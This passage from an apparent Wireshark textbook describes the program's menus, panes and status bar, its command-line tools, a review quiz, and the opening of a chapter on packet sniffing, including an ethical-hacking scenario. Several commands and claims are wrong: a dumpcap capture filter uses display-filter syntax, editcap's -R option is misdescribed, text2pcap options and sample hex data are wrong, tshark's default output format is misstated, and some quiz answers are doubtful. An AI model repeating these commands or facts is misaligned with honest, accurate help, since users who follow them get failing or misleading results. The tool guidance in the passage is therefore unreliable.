Endpoints: Opens the Endpoints dialog, which shows a list of all the endpoints in the capture file.

Conversations:  Opens  the  Conversations  dialog,  which shows a list of all the conversations (i.e., pairs of endpoints) in the capture file.

IO Graphs: Opens the IO Graphs dialog, which allows you to  graph  various  statistical  data,  such  as  packet  sizes  and throughput.

Flow  Graph:  Opens  the  Flow  Graph  dialog,  which  allows you to visualize the flow of packets between endpoints as a graph.

Service  Response  Time:  Opens  the  Service  Response Time  dialog,  which  shows  the  response  times  for  different types of traffic.

Telephony menu:

Below are the telephony menu options:

RTP:  Opens  the  RTP  Analysis  dialog,  which  allows  you  to analyze Real-time Transport Protocol (RTP) traffic.

VoIP Calls: Opens the VoIP Calls dialog, which shows a list of all the Voice over IP (VoIP) calls in the capture file.

Wireless menu:

Below are the wireless menu options:

Bluetooth  ATT  Server  Attributes:  The  Bluetooth  ATT Server  Attributes  window  provides  a  list  of Attribute Protocol (ATT) packets that have been recorded.

Bluetooth Device: The Bluetooth Devices pane provides a list  of  collected  device  information,  such  as  MAC  address, Organizationally Unique Identifier (OUI), Name, and so on.

Bluetooth  HCI  Summary:  The  Bluetooth  HCI  Summary pane  presents  a  summary  of  the Host  Controller Interface (HCI) layer packets that were recorded.

WLAN  Traffic:  Statistics  on  WLAN  traffic  recorded.  It summarizes  the  wireless  network  traffic  found  in  the capture.

Tools menu:

Below are the tools menu options:

Firewall ACL Rules: Opens the Firewall ACL Rules dialog, which  allows  you  to  generate  firewall  rules  based  on  the captured traffic.

Credentials:  You  may  now  extract  credentials  from  the current capture file. Some dissectors (http, imap, ftp, smtp) have  been  instrumented  to  supply  users  and  passwords  to the  module,  and  more  will  be  instrumented  in  the  future. The window dialogue displays the packet number where the credentials  were  discovered,  the  protocol  that  supplied them, the username, and protocol-specific information.

Help menu:

Below are the edit menu options:

Contents:  Opens  the  Wireshark  documentation  in  your default web browser.

About Wireshark: Shows information about the version of Wireshark you are using.

Getting  Help:  Shows  options  for  getting  help  with Wireshark,  including  the  Wireshark  user's  guide,  the Wireshark Q&A forum, and the Wireshark bug tracker.

 

The main toolbar

The main toolbar allows easy access to frequently used menu items. It is a collection of buttons that allow you to perform

various actions in the program, as shown in Figure 2.14. This toolbar cannot be modified; however, you may disable the toolbar using the View menu if additional screen space is required to display more packet data:
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Figure 2.14: The Main Toolbar

Some of the buttons you may see in the main toolbar include:

Start: Begins a new capture.

Stop: Stops a capture that is currently in progress.

Restart: Restarts a capture that is currently in progress.

Options: Opens a window that allows you to configure the capture options.

Open: Opens a previously saved capture file.

Save  As:  Saves  the  current  capture  to  a  file  with  a  new name.

Close: Closes the current capture file.

Reload: Reloads the current capture file.

Find  Packet:  Opens  a  search  window  that  allows  you  to search for specific packets or text within the capture.

Go Back: Navigates to the previous packet in the capture.

Go Forward: Navigates to the next packet in the capture.

Go to Packet:  Allows  you  to  navigate  to  a  specific  packet in the capture.

Go  to  First  Packet:  Navigates  to  the  first  packet  in  the capture.

Go  to  Last  Packet:  Navigates  to  the  last  packet  in  the capture.

Auto  Scroll  in  Live  Capture:  Enables  or  disables automatic scrolling in the packet list during a live capture.

Colorize: Enables or disables packet coloring.

Zoom In: Zooms in on the packet detail view.

Zoom Out: Zooms out on the packet detail view.

Normal Size: Resets the zoom level to the default.

Resize Columns: Allows you to manually adjust the width of the columns in the packet list.

The main toolbar is context-sensitive, meaning that the buttons that are enabled or disabled will depend on the current state of the program. For example, if a capture is not in progress, the Stop button will be disabled. If a capture file is not open, the Save button will be disabled.

 

The filter toolbar

The filter toolbar in Wireshark 4.0.2 consists of several different elements that allow you to apply filters to the packet list, as can

be seen in Figure 2.15:

[image: ]

 

Figure 2.15: The Filter Toolbar Following are the options available in filter toolbar:

Bookmarks: The Bookmarks button allows you to access a list of saved filter bookmarks. You can use bookmarks to save frequently used filters for easy access later on.

Filter Input: The Filter Input is a text box where you can enter  a  filter  expression.  The  filter  expression  can  be  any valid Wireshark display filter syntax. For example, you can use the filter expression "ip.src == 192.168.1.1" to display only the packets with a source IP address of 192.168.1.1.

Clear:  The Clear  button  clears  the  filter  input  text  box, allowing you to enter a new filter expression.

Apply:  The Apply  button  applies  the  filter  expression entered in the filter input text box to the packet list.

Recent: The Recent button displays a list of recently used filter  expressions.  You  can  select  a  filter  from  this  list  to quickly apply it to the packet list.

Add Button: The Add button allows you to add a new filter bookmark. You can enter a name for the bookmark and the corresponding  filter  expression,  and  then  click  the Add button to save the bookmark for future use.

The Filter toolbar is a powerful tool that allows you to quickly and easily focus on specific packets within a large capture. It is particularly useful when you are trying to troubleshoot a problem or identify a specific type of traffic.

 

The packet list pane

The packet list pane in Wireshark 4.0.2 is a central part of the program that displays a list of all the packets in the current

capture, as can be seen in Figure 2.16. It is located in the top-right corner of the Wireshark window, below the main toolbar and above the packet details and packet bytes panes.
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Figure 2.16: The packet list pane

 

The packet list pane displays a list of packets in a tabular format, with each row representing a single packet. The columns in the packet list pane display various details about the packets, such as the packet number, the time the packet was captured, the source and destination addresses, and the protocol used.

You can use the packet list pane to quickly browse through the packets in a capture and find the ones you are interested in. You can also use the filter toolbar at the top of the window to apply a filter to the packet list, which can be used to display only the packets that match certain criteria.

The default columns that are available are:

No.:  The  No.  the  column  displays  the  packet  number, which  is  a  sequential  number  assigned  to  each  packet  in the capture.

Time:  The  Time  column  displays  the  time  at  which  the packet  was  captured,  as  well  as  the  elapsed  time  between the  current  packet  and  the  previous  packet.  The  time  can be  displayed  in  various  formats,  such  as  absolute  time  or relative time, depending on your preferences.

Source: The Source column displays the source address of the packet, which is the address of the device that sent the packet. The source address can be an IP address or a MAC address, depending on the protocol being used.

Destination:  The  Destination  column  displays  the destination  address  of  the  packet,  which  is  the  address  of the  device  that  the  packet  is  intended  for.  The  destination

address can be an IP address or a MAC address, depending on the protocol being used.

Protocol: The Protocol column displays the protocol being used by the packet, such as TCP, UDP, or ICMP.

Length:  The  Length  column  displays  the  length  of  the packet, which is the total number of bytes in the packet.

Info:  The  Info  column  displays  a  summary  of  the  packet's contents,  which  can  be  helpful  for  quickly  identifying  the purpose of the packet. The information displayed in the Info column may vary depending on the protocol being used.

You can customize the columns that are displayed in the packet list pane by right-clicking on the column headers and selecting Column Preferences from the context menu. This allows you to add or remove columns and customize their order as needed.

The related packet symbols in the first column of the packet list pane in Wireshark are used to show how each packet is related to the selected packet. These symbols can be helpful for quickly identifying related packets and understanding the context of the selected packet.

Figure 2.17 shows, some of the different related packet symbols that may be displayed in the first column:
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Figure 2.17: Related packet symbols

Some of the related packet symbols are shown in the Table 2.1:




[image: ]

Table 2.1: Related packet symbols

 

The packet details pane

The packet details pane in Wireshark is a part of the program that displays detailed information about a selected packet. It is located in the bottom-right corner of the Wireshark window, below the packet list pane and to the right of the packet bytes pane.

The packet details pane displays a hierarchical view of the packet's contents, with each level representing a different layer

of the packet's structure, as can be seen in Figure 2.18. For example, the first level may represent the Ethernet header, the second level may represent the IP version 4 header, and so on.
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Figure 2.18: The packet details pane

Each level in the packet details pane displays the various fields and values that make up that layer of the packet's structure. For example, the Ethernet II layer, includes information such as the source and destination MAC addresses. Internet Protocol version 4 (IPv4) layer, includes information such as the source and destination IP addresses. The Transmission Control Protocol (TCP) or User Datagram Protocol (UDP) layer, includes information such as the source and destination port numbers.

You can use the packet details pane to view the various fields and values that make up a packet, as well as their meanings. This can be particularly useful when you are trying to understand the purpose of a packet or identify a specific type of traffic.

You can also use the packet details pane to search for specific fields or values within a packet. To do this, you can use the Find tool located at the top of the pane. This allows you to quickly locate specific fields or values within a packet, even if there are many layers of data.

 

The packet bytes pane

The packet bytes pane in Wireshark is a part of the program that displays the raw data of a selected packet in a hexadecimal

format, as can be seen in Figure 2.19. It is located in the bottom-left corner of the Wireshark window, below the packet list pane and to the left of the packet details pane.
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Figure 2.19: The Packet Bytes Pane

The packet bytes pane displays the packet's data as a series of hexadecimal values, with each value representing a single byte of data. The pane also includes a side panel that displays the corresponding ASCII characters for each hexadecimal value, if applicable. This allows you to view the raw data of a packet in a more readable format.

You can use the packet bytes pane to view the raw data of a packet in detail, as well as to search for specific patterns or values within the data. This can be particularly useful when you are trying to understand the low-level structure of a packet or identify specific types of data within the packet.

You can also use the packet bytes pane to copy the raw data of a packet to the clipboard, which can be useful for further analysis or for creating custom filters. To do this, you can use the Copy tool located at the top of the pane.

 

The packet diagram pane

The packet diagram pane in Wireshark is a part of the program that displays a graphical representation of a selected packet's

structure, as illustrated in Figure 2.20. In order to see packet diagram pane, go to Edit | Preferences | Appearance | Layout dialog and use the radio button to select the packet diagram option for one of the panes. It is recommended to select it in pane 3 instead of the packet bytes display as the packet list pane and packet details pane are essential to use the Wireshark.
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Figure 2.20: The Packet Diagram Pane

The packet diagram pane displays a graphical representation of the packet's structure, with each layer of the packet represented by a different color. The pane also includes labels for each layer, which display the name of the layer and the fields and values that make up the layer.

You can use the packet diagram pane to quickly understand the structure of a packet and how the various layers of the packet are related to each other. This can be particularly useful when you are trying to understand the purpose of a packet or identify a specific type of traffic.

You can also use the packet diagram pane to navigate to a specific layer of the packet by clicking on the layer in the diagram. This will highlight the corresponding layer in the packet details pane and display the fields and values of the layer in more detail.

 

The statusbar

The statusbar is a graphical control element that is located at the

bottom of the main Wireshark window. Figure 2.21 shows the statusbar, that displays various types of information about the current state of the Wireshark application and the packets being captured or analyzed:
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Figure 2.21: The Statusbar

Here are some of the types of information that can be displayed in the statusbar:

The colorized  bullet  in  the  statusbar  is  an  indicator  that shows the status of the packet capture process. If the bullet is  green,  it  indicates  that  Wireshark  is  currently  capturing packets. If the bullet is red, it indicates that the capture has been  stopped.  If  the  bullet  is  grey,  it  indicates  that Wireshark is not currently capturing packets.

The edit icon in the statusbar is a button that allows you to edit the current capture or display filter. When you click on the edit icon, a dialog box will open, allowing you to  enter or modify the filter string.

The left side of the statusbar displays various fields that provide  information  about  the  current  state  of  the Wireshark application. These fields may include the current capture  or  display  filter,  the  total  number  of  packets,  the current packet number, and the elapsed time of the current capture.

The middle  of  the  statusbar  displays  summary information about the packets being displayed or analyzed. These  fields  may  include  the  total  number  of  packets,  the number  of  packets  displayed,  the  number  of  packets marked, the number of packets dropped, and the number of packets ignored.

The right  side  of  the  statusbar  displays  various  fields that provide additional information about the current state of  the  Wireshark  application.  These  fields  may  include  the current  data  rate,  the  capture  or  display  filter  syntax,  and various  icons  or  indicators  that  provide  information  about the state of the system or the application.

 

Understanding Wireshark command-line tools

Wireshark includes a number of command-line tools that can be used to perform various tasks related to packet capture and analysis. Some of the key command-line tools included with Wireshark are:

Tshark: Tshark is a command-line version of Wireshark that allows  you  to  capture  and  analyzer  packets  from  the command  line. Tshark  is  particularly  useful  for  capturing packets in environments where it is not practical to use the GUI, such as in a remote location or over a SSH connection.

Here is an example of how to use Tshark to capture packets on interface eth0 and save them to a file called capture.pcap: tshark -i eth0 -w capture.pcap

Here  is  an  example  of  how  to  use Tshark  to  display  the contents of a capture file in ASCII format: tshark -r capture.pcap -V

Capinfos: Capinfos  is  a  utility  that  allows  you  to  extract information  about  capture  files,  including  the  number  of packets, the start and end time of the capture, and the data rate.  It  can  be  used  to  quickly  get  a  summary  of  the contents of a capture file without opening it in Wireshark.

Here  is  an  example  of  how  to  use Capinfos  to  display information about a capture file called capture.pcap: capinfos capture.pcap

Editcap: Editcap  is  a  utility  that  allows  you  to  modify capture  files  in  various  ways,  such  as  filtering  packets, splitting  files,  or  adding  or  removing  packets.  It  is  useful for  processing  large  capture  files  or  for  preparing  capture files for analysis.

Here is an example of how to use Editcap to split a capture file  called capture.pcap  into  smaller  files,  each  containing 1000 packets:

editcap -c 1000 capture.pcap split_%d.pcap

Here is an example of how to use Editcap to remove all TCP packets from a capture file called capture.pcap: editcap -F pcap -R "tcp" capture.pcap filtered.pcap

Mergecap:  Mergecap  is  a  utility  that  allows  you  to combine multiple capture files into a single file. This can be useful for combining captures from different sources or for combining captures that were taken at different times.

Here  is  an  example  of  how  to  use Mergecap  to  combine  two capture files called capture1.pcap and capture2.pcap into a single file called combined.pcap: mergecap -w combined.pcap capture1.pcap capture2.pcap

Text2pcap: Text2pcap  is  a  utility  that  allows  you  to  convert ASCII  hex  dump  files  into pcap  capture  files.  This  can  be useful for analysing network traffic that has been captured in a different format, or  for analysing traffic that has been captured by a network device that does not use pcap.

Here is an example of how to use Text2pcap to convert an ASCII hex dump file called dump.txt into a pcap capture file called capture.pcap:

text2pcap -l 148 -d dump.txt capture.pcap

 

Running Wireshark command-line tools

The Wireshark command-line tools can be used on various platforms, including Windows, Linux, and macOS. The tools must be installed automatically with Wireshark.

In  windows,  open  command  prompt,  navigate  to  the directory  where  the  Wireshark  command  line  tools  are installed. By default, the command line tools are installed in the  "C:\Program  Files\Wireshark"  directory.  Now,  run  a command  line  tool,  simply  by  typing  the  name  of  the  tool followed by any necessary arguments.

In  Linux,  after  installing  Wireshark,  open  the  terminal  and change  the  current  working  directory  to  the  directory where  Wireshark  is  installed.  Now,  run  the  command  line tool you want to use.

In  macOS,  open  a  terminal  window  by  going  to Applications  | Utilities  | Terminal.  Change  the  current working  directory  to  the  directory  where  Wireshark  is installed.    By    default,    Wireshark    is    installed    in “/Applications/Wireshark.app/Contents/MacOS”.    Now,    run    the command line tool you want to use.

 

Sniffing packets using Dumpcap and Tshark

Dumpcap and Tshark are tools that are part of the Wireshark suite of network analysis tools. Dumpcap is a command-line tool that captures network traffic and saves it to a file, while Tshark is a command-line tool that allows you to analyzer the traffic that has been captured by Dumpcap.

When you use Dumpcap to capture packets, it listens on the specified network interface and saves all of the packets that it sees to a file in the Packet Capture (PCAP) format. This file can then be opened and analyzed using a tool like Tshark or Wireshark, which is a graphical network analysis tool that provides a more user-friendly interface for analysing packets.

To use these tools to sniff packets, you will need to have them installed on your system. You can then use Dumpcap to capture packets and save them to a file, and then use Tshark to analyzer the packets in the file.

To capture packets with Dumpcap, you can use a command like this: dumpcap -i interface -w output_file.pcap

Replace "interface" with the name of the network interface that you want to capture packets on, and "output_file.pcap" with the name of the file where you want to save the captured packets.

For example,

dumpcap -i eth0 -w capture.pcap

To analyze the packets in the file using Tshark, you can use a command like this:

tshark -r input_file.pcap -R "expression"

Replace "input_file.pcap" with the name of the file containing the captured packets and "expression" with a display filter expression that specifies the packets that you want to analyzer. For example, you might use an expression like "ip.addr==192.168.1.4" to only display packets that contain the IP address 192.168.1.4.

 

Filtering packets using Dumpcap, Tshark, and

Editcap

Dumpcap, Tshark, and Editcap are the command-line tools that help you to edit the packets in a PCAP file. Tshark also provides a variety of options for filtering and displaying the packets, and it can output the packet data in a variety of formats.

Editcap is a tool that allows you to edit the packets in a PCAP file. It can be used to remove packets from the file, reorder the packets, or modify the packet data in various ways.

To filter packets using these tools, you can use either a display filter or a capture filter. A display filter is an expression that specifies the packets that you want to see when analyzing a PCAP file with Tshark. It is used to hide packets that do not match the specified criteria. A capture filter is an expression that specifies the packets that you want to capture when using Dumpcap, and it is used to discard packets that do not match the specified criteria.

For example, to display only packets that contain the IP address 192.168.1.4, you could use a display filter like this: ip.addr==192.168.1.4

To use this filter with Tshark, you would include it as an argument to the "-R" option like this:

tshark -r input_file.pcap -R "ip.addr==192.168.1.4"

This command would open the PCAP file "input_file.pcap" and only display the packets that contain the IP address 192.168.1.4. The "-R" option specifies the display filter expression, and the "ip.addr==192.168.1.4" expression specifies that only packets with the specified IP address should be displayed.

Here is an example of how you might use a capture filter with Dumpcap to filter packets:

dumpcap -i eth0 -f "ip.addr==192.168.1.4" -w output_file.pcap

This command would capture packets on the "eth0" interface and save only the packets that contain the IP address 192.168.1.4 to the file "output_file.pcap". The "-f" option specifies the capture filter expression, and the "ip.addr==192.168.1.4" expression specifies that only packets with the specified IP address should be saved to the file.

Another way to filter packets is to use Editcap to remove packets from a PCAP file. Editcap has a variety of options that allow you to select specific packets to remove based on various criteria, such as the packet number, the time that the packet was captured, or the contents of the packet.

For example, to remove all packets from a PCAP file that do not contain the IP address 192.168.1.4, you could use a command like this:

editcap -R input_file.pcap output_file.pcap "ip.addr!=192.168.1.4"

This command would create a new PCAP file called "output_file.pcap" that contains only the packets from "input_file.pcap" that match the specified filter expression.

 

Merging trace files with Mergecap

Mergecap is a command-line tool that is part of the Wireshark suite of network analysis tools. It is used to merge multiple trace files into a single trace file. Trace files are files that contain packets that have been captured from a network, and they are typically saved in the Packet Capture (PCAP) format.

To use Mergecap, you will need to open a terminal window and enter a command like this:

mergecap -w output_file.pcap input_file1.pcap input_file2.pcap ...

Replace "output_file.pcap" with the name of the file where you want to save the merged trace and "input_file1.pcap" and "input_file2.pcap" with the names of the trace files that you want to merge. You can specify as many input files as you like, separated by spaces.

By default, Mergecap will merge the trace files in the order that they are specified on the command line, with the packets from the first file followed by the packets from the second file, and so on. The merged trace will contain all of the packets from the input files, with the packets from each file appearing in the order in which they were captured.

You can use the "-a" option to append the trace files to the end of the output file instead of merging them. This will add the packets from the second file to the end of the packets from the first file, and so on, without changing the order of the packets within each file.

You can also use the "-F" option to specify the format of the input and output files. The default format is PCAP, but you can also use other formats like PCAPNG or ERF.

For example, to merge two PCAPNG files into a single PCAP file, you could use a command like this:

mergecap -F pcapng -w output_file.pcap input_file1.pcapng input_file2.pcapng

This would merge the two PCAPNG files into a single PCAP file called "output_file.pcap".

 

Analyzing Pcaps using Tshark

To use Tshark to analyze a PCAP file, you will need to open a terminal window and enter a command like this:

tshark -r input_file.pcap

Replace "input_file.pcap" with the name of the PCAP file that you want to analyzer. This will display a summary of the packets in the file, including the source and destination addresses, the protocol, and the length of each packet.

You can use the "-R" option to specify a display filter expression that limits the packets that are displayed. For example, to only display packets that contain the IP address 192.168.1.4, you could use a command like this:

tshark -r input_file.pcap -R "ip.addr==192.168.1.4"

You can use the "-V" option to display the full packet details, including the packet header and payload data. For example:

tshark -r input_file.pcap -V

This will display the full details of all of the packets in the file.

You can use the "-x" option to display the packet data in hexadecimal format. For example:

tshark -r input_file.pcap -x

This will display the packet data in hexadecimal format, with each byte of the packet data represented by two hexadecimal digits.

You can use the "-T" option to specify the output format for the packet data. The default format is "fields", which displays a summary of the packet data in a tabular format. Other options include "text", which displays the packet data as plain text, and "json", which displays the packet data as a JSON object. For example, to display the packet data as JSON objects, you could use a command like this:

tshark -r input_file.pcap -T json

 

Working with Text2pcap

Text2pcap is a command-line tool that is part of the Wireshark suite of network analysis tools. It is used to convert text files that contain packet data in hexadecimal format to the PCAP format, which is used by tools like Wireshark to analyzer network traffic.

To use Text2pcap, you will need to open a terminal window and enter a command like this:

text2pcap -l layer_type input_file.txt output_file.pcap

Replace "layer_type" with the type of packet data that is contained in the input file. Possible values include "eth", "ip", "tcp", "udp", and "sll" (for Linux cooked-mode captures). Replace "input_file.txt" with the name of the text file that you want to convert and "output_file.pcap" with the name of the PCAP file that you want to create.

The input file must contain packet data in hexadecimal format, with one packet per line. Each line must contain the hexadecimal representation of the packet data, with each byte represented by two hexadecimal digits. For example, the following input file contains two Ethernet packets:

input_file.txt:

4500005400040004006edcac0a80001c0a800020035002f

4500005400040004006edcac0a80001c0a800020035004a

To convert this file to a PCAP file, you could use a command like this:

text2pcap -l eth input_file.txt output_file.pcap

This would create a PCAP file called "output_file.pcap" that contains the two Ethernet packets from the input file.

You can use the "-n" option to specify that the input file does not contain packet data but rather a list of hexadecimal values separated by spaces. For example, the following input file contains a single Ethernet packet:

input_file.txt:

45 00 00 54 00 04 00 04 00 6e dc ac 0a 80 00 1c 0a 80 00 02 00 35 00 2f

text2pcap -l eth -n input_file.txt output_file.pcap

This would create a PCAP file called "output_file.pcap" that contains a single Ethernet packet with the hexadecimal data specified in the input file.

 

Conclusion

In conclusion, this chapter provided a comprehensive introduction to Wireshark, a powerful network protocol analyzer that is widely used by network professionals. We have learned about the core features of Wireshark, how it works, and how to download and install it on different operating systems. We have also explored the Wireshark user interface and learned about various command-line tools that can be used to capture and analyze network traffic.

In addition, we have learned how to use Dumpcap and Tshark to sniff packets and filter packets respectively. We have also learned how to merge trace files with Mergecap and analyze PCAPs using Tshark. Lastly, we have explored Text2pcap, which allows us to convert text-based packet captures into PCAP files for analysis.

With a solid understanding of the basics of Wireshark, we are now ready to move on to the next chapter, Getting started with Packet Sniffing, where we will learn how to use Wireshark to capture and analyze network traffic in real-world scenarios. This will involve exploring different packet capture techniques and learning how to analyze network traffic to gain insight into network behavior and troubleshoot network issues.

 

Questions

1. Which  Wireshark  command-line  tool  is  used  for

capturing packets?

a) Editcap

b) Tshark

c) Mergecap

d) Dumpcap

2. Which  operating  systems  is  Wireshark  compatible

with?

a) Windows, Linux, and macOS

b) Windows and macOS only

c) Linux and macOS only

d) Windows only

3. Which  Wireshark  tool  is  used  for  filtering  packets

based on specific criteria?

a) Dumpcap

b) Mergecap

c) Tshark

d) Editcap

4. What is the purpose of Mergecap in Wireshark?

a) To filter packets based on specific criteria

b) To capture packets on a network

c) To merge multiple trace files into one

d) To analyze PCAP files

5. Which  Wireshark  feature  allows  you  to  analyze

packets as they flow through a TCP connection?

a) Follow TCP Stream

b) Expert Info

c) Time-Shifted Packets

d) Conversations

6. What  is  the  purpose  of  the  Wireshark  Expert  Info

feature?

a)  To  analyze  packets  as  they  flow  through  a  TCP

connection

b) To identify network devices that are using outdated or

insecure protocols

c) To troubleshoot network issues

d) To convert text-based packet captures into PCAP files

7. What is Text2pcap used for in Wireshark?

a) To merge trace files

b) To capture packets on a network

c) To analyze PCAP files

d) To convert text-based packet captures into PCAP files

8. What is the purpose of the Wireshark statusbar?

a)  To  display  information  about  the  current  capture  or

analysis session.

b)  To  provide  quick  access  to  commonly  used  features

and tools.

c) To display real-time statistics about the network traffic

being captured or analyzed.

d) None of the above.

9. How  can  you  capture  network  traffic  on  a  specific

interface using Wireshark?

a) By selecting the appropriate interface from the capture

options.

b)  By  using  a  capture  filter  to  specify  the  desired

interface.

c) By using a display filter to filter packets based on the

interface they were captured on.

d) None of the above.

10. What is a packet filter in Wireshark?

a) A  filter  that  blocks  malicious  traffic  from  entering  the

network.

b)  A  filter  that  captures  only  specific  types  of  network

traffic based on user-defined criteria.

c)  A  filter  that  optimizes  network  performance  by

reducing the amount of traffic on the network.

d) All of the above.

 

Answers

1. d

2. a

3. c

4. c

5. a

6. c

7. d

8. c

9. a

10. b




CHAPTER 3

 

Getting Started with Packet

Sniffing

 

Introduction

Welcome to the packet sniffing beginner's guide. Packet sniffing is a method of capturing data packets that are passing through the computer network. In this chapter, we will cover the basics of packet sniffing and how to get started with packet sniffing by using Wireshark. We will discuss how to select the network interface that you want to sniff on and how to perform a packet sniffing capture. We will also cover how to sniff network packets from a remote location and how to use display and capture filters to narrow down the packets that you want to capture.

In addition, we will discuss ways to maximize packet capture performance and how to stop sniffing, saving, and exporting packets for further analysis. By the end of this chapter, you should have a good understanding of how to get started with packet sniffing and be able to begin using a packet sniffing tool like Wireshark.

 

Structure

In this chapter, we will discuss the following topics:

Define your sniffing target

Choosing network interfaces

Performing a packet sniffing

Remote network packet

Display and capture filters

Maximizing packet capture performance

Stop sniffing, saving, and exporting packets

Challenges/limitations of packet capturing

 

Objectives

The objective of this chapter is to equip you with the knowledge and skills to effectively utilize packet sniffing techniques and tools in real-world scenarios.

Let us assume you are a network administrator, and you want to troubleshoot connectivity issues on your company's network. By knowing how to perform a packet sniffing capture and use display and capture filters, you can narrow down the packets to those related to the connectivity issues and examine them for clues about the cause of the problem.

Alternatively, let us assume you are a security analyst, and you want to monitor network traffic for potential threats. By knowing how to sniff network packets from a remote location and using capture filters to focus on specific types of traffic, you can identify suspicious activity in an easier manner and take appropriate action to protect the network.

In both of these examples, being able to maximize packet capture performance and effectively stop sniffing, saving, and exporting packets is crucial to effectively use the captured data for analysis and problem-solving.

By the end of this chapter, you should be able to apply your knowledge of packet sniffing to a variety of scenarios and effectively utilize packet sniffing techniques and tools to intercept and log network traffic for a variety of purposes.

Define your sniffing targets

It is important to know exactly what you want to sniff when using packet sniffing techniques and tools. Packet sniffing allows you to intercept and log network traffic, and the amount of data that can be captured can be vast. Knowing what you want to sniff will help you narrow down the packets that you want to capture and make it easier to analyze the data.

There are many reasons why you might want to sniff packets. For example, you might want to troubleshoot connectivity issues, monitor network traffic for security purposes, or analyze performance.

Before you start sniffing packets, think about what do you want to achieve? and what specific information are you looking for? This will help you determine the best approach for your packet sniffing and make it more effective.

For example, if you want to troubleshoot connectivity issues, you might want to filter the packets based on specific IP addresses or port numbers. If you are interested in security, you might want to use capture filters to focus on specific types of traffic, such as HTTP or FTP.

Here are some examples of scenarios where knowing what you want to sniff can be helpful:

Example 1: Monitoring network traffic for security purposes

If you are a security analyst and you want to monitor network traffic for potential threats, using capture filters to focus on specific types of traffic can be a useful approach.

For example, you might use capture filters to focus on HTTP traffic, which is the protocol used for transferring data on the World Wide Web. By capturing only HTTP traffic, you can more easily identify any suspicious activity or attempts to access unauthorized resources on the network.

You could also use capture filters to focus on FTP traffic, which is the protocol used for transferring files over a network. By capturing only FTP traffic, you can monitor file transfers on the network and identify any suspicious activity, such as attempts to transfer sensitive data to unauthorized locations.

Using capture filters to focus on specific types of traffic can help you more easily identify suspicious activity and take appropriate action to protect the network. It can also help you reduce the amount of data that you need to analyze, making it more efficient to monitor network traffic for security purposes.

Example 2: Hacking/ethical hacking

It is essential to determine precisely what you want to capture to concentrate your efforts and collect the information you need effectively.

Let us assume you are a hacker or an ethical hacker performing a vulnerability test/penetration test on a network. Your goal is to identify any vulnerabilities or weaknesses in the network that could be exploited.

In this scenario, it is crucial to identify what you want to capture to direct your efforts and optimize your time. You might use capture filters to focus on specific types of traffic, such as HTTP or FTP, and use display filters to narrow down the packets based on specific criteria, such as IP addresses or port numbers.

Knowing what you want to sniff and using appropriate filters, can help to easily identify vulnerabilities or weaknesses in the network. Moreover, as an attacker, you can exploit it, or as an ethical hacker, you can provide your client with actionable recommendations for improving security.

Example 3: Analyzing performance

If you are interested in analyzing the performance of a network, using capture filters to focus on specific protocols or applications can be a useful approach.

For example, you might use capture filters to focus on a specific protocol, such as TCP or UDP, to understand how the protocol is being used on the network. You can then analyze the packets to see how the protocol is performing and identify any potential bottlenecks or other issues that might be affecting performance. You could also use capture filters to focus on specific applications, such as email or web browsing, to understand how these applications are using the network. This can help you identify any performance issues that might be specific to a particular application and take steps to improve performance.

Using capture filters to focus on specific protocols or applications can help you understand how the network is being used and identify potential performance issues. It can also help you reduce the amount of data that you need to analyze, making it more efficient to analyze the performance of a network.

Example 4: Troubleshooting connectivity issues

If you are a network administrator trying to troubleshoot connectivity issues, you might want to filter the packets based on specific IP addresses or port numbers to focus on the packets related to the connectivity problem.

Let us assume you are trying to troubleshoot a connectivity issue between two servers on your network. You could use the packet sniffing tool to capture all packets between the two servers and look for any issues or errors that might be causing the connectivity problem.

You could also use display filters to narrow down the packets based on specific criteria, such as the IP addresses or port numbers of the servers. This would allow you to focus on the packets that are most relevant to the connectivity issue and make it easier to find the cause of the problem.

Once you have captured and filtered the packets, you can use the packet sniffing tool's graphical interface to examine the packets and see what is happening on the network. This can help you identify any issues or problems that might be causing the connectivity issue and take steps to resolve them.

 

Choosing network interfaces

Properly selecting the network interface in Wireshark is important because it determines which packets the software will capture and display. If you select the wrong interface, you may not see the traffic you are interested in, or you may see too much traffic and be unable to filter it effectively.

Selecting the correct network interface can also be important for performance reasons. If you are capturing packets on a busy network, using a high-speed interface can help ensure that Wireshark can keep up with the traffic and avoid dropping packets. On the other hand, if you are capturing packets on a slow or congested network, using a slower interface may help avoid overwhelming the interface and causing packet loss.

In general, it is a good idea to carefully consider which interface you use when capturing packets in Wireshark and to choose the one that is most appropriate for your needs.

Now, the question is: How to select a specific network interface or multiple interfaces?

1. One  way  is  to  select  a  specific  network  interface  from

Wireshark’s Startup screen. The Startup screen will show a

list  of  available  network  interfaces,  as  shown  in  the Figure

3.1. Click on the interface you want to use and click on the

Start button to begin capturing packets on that interface. To

select  multiple  interfaces,  use Shift  +  Left-click.  Once

selected, start capturing.
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Figure 3.1: Wireshark’s Startup screen

2. Another  way  to  do  it  is  to  select  an  interface  by  clicking

Capture  from  the  menu,  choose  Options,  and  select  an

appropriate interface from the available interface list in the

Input  tab  by  clicking  on  the  interface  or  select  multiple

interfaces by using Shift + Left, click, as you can see in the

Figure 3.2. Then click Start.
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Figure 3.2: Wireshark Capture Options

3. Alternatively,  you  can  also  select  a  network  interface  from

the command line, using the -i option followed by the name

or number of the interface you want to use. For example:

wireshark -i eth0

This  will  open  Wireshark  and  select  the eth0 interface.  You

can also specify multiple interfaces by separating them with

a comma, like this:

wireshark -i eth0,eth1

This  will  capture  packets  on  both  the eth0  and eth1

interfaces.

Keep  in  mind  that  you  will  need  to  have  root  privileges  or

the  appropriate  permissions  to  capture  packets  on  a  given

interface.

Note: If you are not sure what interfaces are available on your system, you can use the netsh command to view and manage the network interfaces on your system. For example, the following command will display a list of all the available network interfaces. netsh interface show interface

Figure 3.3 displays a list of the network interfaces that are

currently accessible.
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Figure 3.3: Netsh: Show interfaces

4. Once  you  have  confirmed  the  interface,  initiate  the

Wireshark command line by utilizing the -i option, and then

press Enter,  as  depicted  in  the Figure  3.4.  The  Wireshark

will  open  and  now  start  capturing  packets  from  the  main

toolbar. This will start capturing, and you can see the details

on the command line as well.
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Figure 3.4: Wireshark Command-line

Note: If no interface is selected, you will get an alert message in the

Statusbar that says “No Interface Selected”, as you can see in the Figure

3.5:

[image: ]

 

Figure 3.5: Alert: No Interface Selected

If you select the wrong interface in Wireshark, the packet capture will not show any traffic because Wireshark is not able to receive any packets on the selected interface. This can happen if the interface is not connected to a network or if it is not configured correctly. To fix this problem, you can try selecting a different interface or check the configuration of the interface to make sure it is correctly connected and configured.

 

Performing a packet sniffing

Once you have selected an interface or multiple interfaces as per the requirement, you can start sniffing and capturing packets on the selected interface(s).

